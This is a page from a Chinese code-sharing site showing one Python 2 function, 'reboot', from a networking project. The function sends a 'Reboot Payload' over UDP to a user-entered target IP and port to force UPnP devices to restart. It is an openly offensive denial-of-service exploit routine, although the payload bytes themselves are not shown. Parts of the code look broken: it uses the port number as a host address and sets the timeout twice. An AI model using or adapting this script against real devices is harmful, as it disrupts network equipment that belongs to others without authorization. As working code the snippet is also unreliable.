ap-ro.py 文件源码

python
阅读 32 收藏 0 点赞 0 评论 0

项目:networking 作者: RussianOtter 项目源码 文件源码
def reboot(timeout=2):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
    s.sendto(exptpack1, (ssdpsrc["ip_address"], ssdpsrc["port"]))
    s.settimeout(timeout)
    s.settimeout(timeout)
    trg = raw_input("\nTarget: ")
    tpg = int(input("Port: "))
    for i in range(4):
        sys.stdout.write("\rSending Reboot Payload" + "." * i)
        time.sleep(0.05)
    print ""
    s.sendto(exptpack1, (trg, tpg))
    try:
        s.connect((str(tpg), int(tpg)))
        time.sleep(0.1)
        s.send(u"`REBOOT`")
        s.close()
        time.sleep(1)
        s.connect((str(tpg), int(tpg)))
    except:
        print "UPnP Device Rebooted"
    s.close()
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号